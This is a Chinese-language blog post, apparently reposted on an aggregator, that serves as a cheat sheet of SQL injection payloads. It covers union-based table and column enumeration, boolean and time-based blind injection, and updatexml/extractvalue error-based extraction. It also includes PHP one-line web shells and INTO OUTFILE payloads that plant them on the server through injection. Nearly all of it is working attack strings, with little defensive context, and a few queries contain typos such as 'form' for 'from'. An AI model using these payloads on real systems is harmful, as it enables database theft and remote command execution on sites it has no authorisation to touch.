zoukankan      html  css  js  c++  java
  • sql注入之payload

    /*
    *GET,post
    *有返回
    *
    */


    基于报错的SQL注入
    1、获取字段数
    ' order by 5 --+
    2、获取表名
    0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
    select group_concat(table_name) from information_schema.tables where table_schema=database()
    3、获取字段
    0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
    select group_concat(column_name) form information_schema.columns where table_name='users'
    /*
    *GET,post
    *无返回,无报错,
    */

    盲注,通常采用下面的办法猜解字符串.
    ' and length(database())=8 --+
    ' and ascii(substr(database(),1,1)) > N --+
    ' and ascii(substr(database(),1,1)) = N --+
    ' and ascii(substr(database(),1,1)) < N --+

    //基于时间的盲注,常和布尔盲注结合起来用
    //在页面上无论正确与否,都没有任何提示的情况下,用
    ' and if(length(database())=8,sleep(3),null) --+ //正确的话就执行sleep
    ' and if(length(database())=8,1,sleep(3)) --+ //正确的话就不执行sleep
    'or if(length(database())=8,sleep(3),null) or '1'='1

    /*
    *GET,post
    *无返回,有报错,
    *用于select,insert,update,delete语句注入
    */

    updatexml()报错的注入
    UPDATEXML (XML_document, XPath_string, new_value);?
    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc?
    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。?
    第三个参数:new_value,String格式,替换查找到的符合条件的数据?
    payload:
    //查询当前MySQL版本
    'and updatexml(1,concat(0x7e,(select @@version)),1) or '1'='1
    'or updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '
    //查询当前数据库名
    'and updatexml(1,concat(0x7e,(select database(),0x7e),1) or '1'='1
    //查询表名(当前数据库下的)
    'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '1'='1
    //查询字段名(users表中的)
    'and updatexml(1,concat(0x7e,(select group_concat(column_name) form information_schema.columns where table_name='users'),0x7e),1) or '1'='1

    基于insert/update下的报错
    'or updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '
    基于delete下的报错
    'or updatexml(1,concat(0x7e,(select @@version),0x7e),1)

    extractvalue()
    /*#为单行注释
    *与updatexml没有什么不同
    */
    'and extractvalue(1,concat(0x7e,(select @@version))) #


    /*
    *一句话木马
    */
    php: <?php @eval($_GET['string'])?>

    //sql注入漏洞之 读写文件
    //写入文件路径为相对路径时,默认写入到数据库所在文件夹中
    1111111'union select 1,2,"<?php @eval($_GET['string'])?>" into outfile "1.php" --+
    //也可以写成绝对路径,此处为Windows的路径
    1111111'union select 1,2,"<?php @eval($_GET['string'])?>" into outfile "D:\web_security\1.php" --+
    1111111'union select 1,2,"<?php system($_GET['cmd'])?>" into outfile "D:\web_security\1.php" --+
    //相对路径的写法
    -14' union select 1,2,"<?php system($_GET['cmd'])?>" into outfile "../../www/sqli/Less-1/2.php" --+

  • 相关阅读:
    form表单介绍
    if条件语句
    表格.html
    列表.html
    CSS Js链接HTML文件
    DQL
    mysql介绍
    第一次接触mysql
    逻辑运算、作用域问题、DOM
    Js数据类型具体分析
  • 原文地址:https://www.cnblogs.com/jiersixi/p/11784769.html
Copyright © 2011-2022 走看看